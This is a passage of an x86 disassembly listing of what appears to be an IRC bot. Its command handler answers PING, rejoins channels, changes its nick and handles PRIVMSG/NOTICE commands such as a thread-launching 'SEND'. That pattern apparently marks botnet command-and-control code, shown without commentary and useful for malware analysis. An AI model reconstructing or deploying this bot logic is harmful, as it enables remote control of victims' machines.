		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40ED88
		push	[ebp+arg_0]
		call	ds:dword_43C6B0	; closesocket
		push	1388h
		call	ds:dword_423060	; Sleep


loc_40ED81:				; CODE XREF: sub_40ECD9+D9j
					; sub_40ECD9+153j
		xor	eax, eax


loc_40ED83:				; CODE XREF: sub_40ECD9+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ED88:				; CODE XREF: sub_40ECD9+92j
					; sub_40ECD9+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C630	; recv
		test	eax, eax
		jle	short loc_40ED81
		lea	eax, [ebp+var_A10]
		push	eax		; int
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_40A863
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40ED88
		lea	edi, [ebp+var_A10]


loc_40EDD9:				; CODE XREF: sub_40ECD9+165j
		push	1
		pop	esi


loc_40EDDC:				; CODE XREF: sub_40ECD9+144j
		push	[ebp+arg_1C]	; int
		lea	eax, [ebp+var_8]
		push	esi		; File
		push	eax		; int
		lea	eax, [ebp+var_240]
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		push	[ebp+arg_18]	; int
		push	[ebp+Source]	; Source
		push	[ebp+arg_8]	; int
		push	[ebp+arg_4]	; int
		push	[ebp+arg_0]	; int
		push	dword ptr [edi]	; Src
		call	sub_40EE51
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE1F
		push	7D0h
		call	ds:dword_423060	; Sleep
		jmp	short loc_40EDDC
; ---------------------------------------------------------------------------


loc_40EE1F:				; CODE XREF: sub_40ECD9+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE49
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE45
		cmp	esi, 0FFFFFFFFh
		jz	loc_40ED81
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDD9
		jmp	loc_40ED88
; ---------------------------------------------------------------------------


loc_40EE45:				; CODE XREF: sub_40ECD9+14Ej
		push	1
		jmp	short loc_40EE4B
; ---------------------------------------------------------------------------


loc_40EE49:				; CODE XREF: sub_40ECD9+149j
		push	2


loc_40EE4B:				; CODE XREF: sub_40ECD9+16Ej
		pop	eax
		jmp	loc_40ED83
sub_40ECD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40EE51(char *Src,int,int,int,char *Source,int,char *Str1,int,int,char	*File,int)

sub_40EE51	proc near		; CODE XREF: sub_40ECD9+12Ap

var_15B0	= dword	ptr -15B0h
var_11B0	= byte ptr -11B0h
Str		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
Filename	= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
Dest		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= dword	ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
FullPath	= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
Drive		= dword	ptr -2E8h
Dst		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
SubStr		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
Str2		= dword	ptr -94h
var_90		= dword	ptr -90h
Format		= dword	ptr -8Ch
var_88		= dword	ptr -88h
Args		= byte ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Source		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
Str1		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
File		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	__alloca_probe
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	_memset
		push	1Bh		; Count
		lea	eax, [ebp+var_928]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 18h
		cmp	[ebp+Src], ebx
		jz	loc_40F215
		push	esi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		dec	esi
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Str]
		push	offset asc_43778C ; " :"
		push	eax		; Str
		call	_strstr
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Source
		lea	eax, [ebp+var_11B0]
		push	eax		; Dest
		call	_strncpy
		mov	esi, offset asc_4293B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi		; Delim
		push	eax		; Str
		call	_strtok
		add	esp, 34h
		mov	[ebp+Str2], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh


loc_40EF24:				; CODE XREF: sub_40EE51+E7j
		push	esi		; Delim
		push	ebx		; Str
		call	_strtok
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF24
		mov	esi, [ebp+Str2]
		cmp	esi, ebx
		jz	loc_40F215
		cmp	[ebp+var_90], ebx
		jz	loc_40F215
		push	100h		; Size
		lea	eax, [ebp+var_A28]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40EF72:				; CODE XREF: sub_40EE51+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EF9E
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFA6
		cmp	[eax+2], bl
		jnz	short loc_40EFA6
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+Str2]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40EF9E:				; CODE XREF: sub_40EE51+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF72


loc_40EFA6:				; CODE XREF: sub_40EE51+12Aj
					; sub_40EE51+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFB1
		mov	[ebp+var_8], edi


loc_40EFB1:				; CODE XREF: sub_40EE51+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFBF
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40EFBF:				; CODE XREF: sub_40EE51+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40EFF9
		push	7Fh		; Count
		lea	eax, [ebp+var_AA8]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [esi+1]
		push	17h		; Count
		push	eax		; Source
		lea	eax, [ebp+var_D8]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_D8]
		push	offset asc_437788 ; "!"
		push	eax		; Str
		call	_strtok
		add	esp, 20h


loc_40EFF9:				; CODE XREF: sub_40EE51+171j
		push	esi		; Str2
		push	offset aPing	; "PING"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F04A
		push	[ebp+var_90]	; Args
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F0EE
		push	[ebp+arg_C]
		push	[ebp+arg_8]	; Args
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		add	esp, 10h
		jmp	loc_40F0EE
; ---------------------------------------------------------------------------


loc_40F04A:				; CODE XREF: sub_40EE51+1B7j
		mov	esi, [ebp+var_90]
		push	esi		; Str2
		push	offset a001	; "001"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150C8
		push	esi		; Str2
		push	offset a005	; "005"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150C8
		push	esi		; Str2
		push	offset a302	; "302"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0B5
		push	offset a@	; "@"
		push	[ebp+var_88]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F0EE
		inc	eax
		push	9Fh		; Count
		push	eax		; Source
		push	[ebp+arg_1C]	; Dest
		call	_strncpy
		add	esp, 0Ch
		jmp	short loc_40F0EE
; ---------------------------------------------------------------------------


loc_40F0B5:				; CODE XREF: sub_40EE51+238j
		push	esi		; Str2
		push	offset a433	; "433"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0F5
		push	ebx		; Str1
		push	ds:dword_486D74	; int
		push	ds:dword_42E5C8	; int
		push	[ebp+Source]	; Dest
		call	sub_415CF0
		push	[ebp+Source]	; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		add	esp, 1Ch


loc_40F0EE:				; CODE XREF: sub_40EE51+1D8j
					; sub_40EE51+1F4j ...
		mov	eax, edi
		jmp	loc_40F218
; ---------------------------------------------------------------------------


loc_40F0F5:				; CODE XREF: sub_40EE51+273j
		mov	esi, [ebp+Str1]
		mov	[ebp+var_BC], 2
		mov	edi, 80h


loc_40F107:				; CODE XREF: sub_40EE51+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F124
		mov	[ebp+var_AC], 1


loc_40F124:				; CODE XREF: sub_40EE51+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F107
		mov	esi, [ebp+var_90]
		push	esi		; Str2
		push	offset aKick	; "KICK"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F21D
		mov	esi, [ebp+Str1]
		mov	[ebp+File], 2


loc_40F153:				; CODE XREF: sub_40EE51+38Fj
		cmp	[esi], bl
		jz	loc_40F1DB
		push	7Fh		; Count
		lea	eax, [ebp+var_AA8]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1DB
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1DB
		push	[ebp+var_88]	; Str2
		lea	eax, [ebp+var_D8]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1DB
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_43770C ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax		; Args
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		add	esp, 20h


loc_40F1DB:				; CODE XREF: sub_40EE51+304j
					; sub_40EE51+324j ...
		add	esi, edi
		dec	[ebp+File]
		jnz	loc_40F153
		push	[ebp+var_88]	; Str2
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F215
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]	; Args
		mov	[eax], ebx
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"


loc_40F20A:				; CODE XREF: sub_40EE51+615j
					; sub_40EE51+96Cj
		push	[ebp+arg_4]	; int
		call	sub_40D62A


loc_40F212:				; CODE XREF: sub_40EE51+57B0j
					; sub_40EE51+57CDj ...
		add	esp, 10h


loc_40F215:				; CODE XREF: sub_40EE51+5Bj
					; sub_40EE51+F1j ...
		push	1


loc_40F217:				; CODE XREF: sub_40EE51+5CF7j
		pop	eax


loc_40F218:				; CODE XREF: sub_40EE51+29Fj
					; sub_40EE51+22C7j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F21D:				; CODE XREF: sub_40EE51+2F2j
		push	esi		; Str2
		push	offset aNick	; "NICK"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F373
		mov	eax, [ebp+Format]
		mov	esi, [ebp+Str1]
		inc	eax
		mov	[ebp+Src], 2
		mov	[ebp+File], eax


loc_40F246:				; CODE XREF: sub_40EE51+447j
		lea	eax, [ebp+var_AA8]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F293
		lea	eax, [ebp+var_AA8]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F293
		push	[ebp+File]	; Source
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax		; Dest
		call	_strcpy
		push	[ebp+arg_1C]	; Source
		push	edi		; Dest
		call	_strcat
		add	esp, 10h
		mov	edi, 80h


loc_40F293:				; CODE XREF: sub_40EE51+406j
					; sub_40EE51+41Dj
		add	esi, edi
		dec	[ebp+Src]
		jnz	short loc_40F246
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F215
		cmp	[ebp+File], ebx
		jz	loc_40F215
		push	[ebp+Source]	; Str2
		lea	eax, [ebp+var_D8]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2DB
		push	0Fh		; Count
		push	[ebp+File]	; Source
		push	[ebp+Source]	; Dest
		call	_strncpy
		add	esp, 0Ch
		jmp	loc_40F215
; ---------------------------------------------------------------------------


loc_40F2DB:				; CODE XREF: sub_40EE51+473j
		mov	edi, [ebp+Str1]
		xor	esi, esi


loc_40F2E0:				; CODE XREF: sub_40EE51+4B0j
		cmp	[edi], bl
		jz	short loc_40F2F7
		lea	eax, [ebp+var_AA8]
		push	eax		; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F308


loc_40F2F7:				; CODE XREF: sub_40EE51+491j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F2E0
		jmp	loc_40F215
; ---------------------------------------------------------------------------


loc_40F308:				; CODE XREF: sub_40EE51+4A4j
		lea	eax, [ebp+var_AA8]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Src], eax
		jz	loc_40F215
		push	eax		; Str
		call	_strlen
		push	[ebp+File]	; Str
		mov	edi, eax
		call	_strlen
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F215
		push	[ebp+Src]
		shl	esi, 7
		push	[ebp+File]
		add	esi, [ebp+Str1]
		push	offset aSS_1	; ":%s%s"
		push	esi		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_4C0]
		push	ebx		; int
		push	eax		; int
		push	[ebp+arg_8]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 24h
		jmp	loc_40F215
; ---------------------------------------------------------------------------


loc_40F373:				; CODE XREF: sub_40EE51+3DBj
		push	esi		; Str2
		push	offset aPart	; "PART"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F395
		push	esi		; Str2
		push	offset aQuit	; "QUIT"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3BC


loc_40F395:				; CODE XREF: sub_40EE51+531j
		mov	edi, [ebp+Str1]
		xor	esi, esi


loc_40F39A:				; CODE XREF: sub_40EE51+569j
		cmp	[edi], bl
		jz	short loc_40F3B0
		push	[ebp+Str2]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F40A


loc_40F3B0:				; CODE XREF: sub_40EE51+54Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F39A


loc_40F3BC:				; CODE XREF: sub_40EE51+542j
		push	[ebp+var_90]	; Str2
		push	offset a353	; "353"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F46B
		push	dword ptr [ebp+Args] ; Str2
		push	[ebp+arg_8]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3F3
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40F3F3:				; CODE XREF: sub_40EE51+597j
		push	dword ptr [ebp+Args] ; Args
		push	offset dword_4376B0 ; Format


loc_40F3FE:				; CODE XREF: sub_40EE51+5B29j
					; sub_40EE51+5EA2j ...
		call	sub_40BFE3
		pop	ecx


loc_40F404:				; CODE XREF: sub_40EE51+5FB7j
		pop	ecx
		jmp	loc_40F215
; ---------------------------------------------------------------------------


loc_40F40A:				; CODE XREF: sub_40EE51+55Dj
		mov	eax, [ebp+Str1]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_437680 ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_90]	; Str2
		push	offset aPart	; "PART"
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F215
		lea	eax, [ebp+Dst]
		push	eax
		mov	eax, [ebp+Str2]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F20A
; ---------------------------------------------------------------------------


loc_40F46B:				; CODE XREF: sub_40EE51+57Fj
		push	[ebp+var_90]	; Str2
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4BF
		push	[ebp+var_90]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4BF
		push	[ebp+var_90]	; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F3C
		cmp	ds:dword_42E5B8, ebx
		jz	loc_414F3C


loc_40F4BF:				; CODE XREF: sub_40EE51+634j
					; sub_40EE51+646j
		push	[ebp+var_90]	; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F645
		push	[ebp+var_90]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F645
		mov	eax, [ebp+var_88]
		inc	dword ptr [ebp+Args]
		push	4
		mov	[ebp+Format], eax
		pop	esi
		mov	[ebp+var_C0], esi


loc_40F506:				; CODE XREF: sub_40EE51+8B0j
					; sub_40EE51+941j ...
		shl	esi, 2
		mov	eax, [ebp+esi+Str2]
		lea	edi, [ebp+esi+Str2]
		push	eax		; Str2
		push	offset dword_437674 ; Str1
		mov	[ebp+arg_8], eax
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F93F
		push	[ebp+esi+var_90] ; Str2
		push	offset aSend_0	; "SEND"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F7FD
		cmp	[ebp+var_AC], ebx
		jz	loc_40F7D3
		push	[ebp+esi+Format]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+Dest]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		push	dword ptr [ebp+esi+Args] ; Str
		call	_atoi
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh		; Count
		push	eax		; Source
		lea	eax, [ebp+var_5F0]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_437630 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	12h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 44h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B6
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	loc_40F7C2


loc_40F62F:				; CODE XREF: sub_40EE51+7F2j
		cmp	[ebp+var_560], ebx
		jnz	loc_40F7F5
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_40F62F
; ---------------------------------------------------------------------------


loc_40F645:				; CODE XREF: sub_40EE51+67Ej
					; sub_40EE51+694j
		push	[ebp+var_90]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F65E
		mov	[ebp+var_4], 1


loc_40F65E:				; CODE XREF: sub_40EE51+804j
		cmp	[ebp+Format], ebx
		jz	loc_40F215
		push	(offset	loc_4279A7+1) ;	SubStr
		push	[ebp+Format]	; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F685
		cmp	[ebp+var_4], ebx
		jz	short loc_40F691


loc_40F685:				; CODE XREF: sub_40EE51+82Dj
		lea	eax, [ebp+var_D8]
		mov	[ebp+Format], eax


loc_40F691:				; CODE XREF: sub_40EE51+832j
		cmp	[ebp+var_88], ebx
		jz	loc_40F215
		inc	[ebp+var_88]
		jz	short loc_40F6DD
		cmp	[ebp+Source], ebx
		jz	short loc_40F6DD
		lea	eax, [ebp+var_928]
		push	eax		; Str
		call	_strlen
		push	eax		; MaxCount
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]	; Str2
		push	eax		; Str1
		call	_strncmp
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F6E3
; ---------------------------------------------------------------------------


loc_40F6DD:				; CODE XREF: sub_40EE51+852j
					; sub_40EE51+857j
		mov	esi, [ebp+var_C0]


loc_40F6E3:				; CODE XREF: sub_40EE51+88Aj
		mov	edi, [ebp+esi*4+Str2]
		cmp	edi, ebx
		jz	loc_40F215
		push	edi		; Str2
		push	offset dword_437624 ; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F506
		mov	ecx, [ebp+Format]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F783
		mov	eax, ds:dword_486D84
		mov	eax, ds:off_42E6B8[eax*4]
		cmp	[eax], bl
		jz	short loc_40F783
		push	eax
		push	ecx		; Args
		push	offset dword_437608 ; Format
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		add	esp, 20h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F215
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1		; int
		push	eax		; int
		push	offset byte_486C8C ; Str


loc_40F773:				; CODE XREF: sub_40EE51+58A4j
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h
		jmp	loc_40F215
; ---------------------------------------------------------------------------


loc_40F783:				; CODE XREF: sub_40EE51+8BFj
					; sub_40EE51+8CFj
		push	edi		; Str2
		push	offset dword_4375E4 ; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F506
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F506
		mov	ecx, [ebp+Format]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F506
		push	eax
		push	ecx
		push	offset dword_4375CC
		jmp	loc_40F20A
; ---------------------------------------------------------------------------


loc_40F7C2:				; CODE XREF: sub_40EE51+7D8j
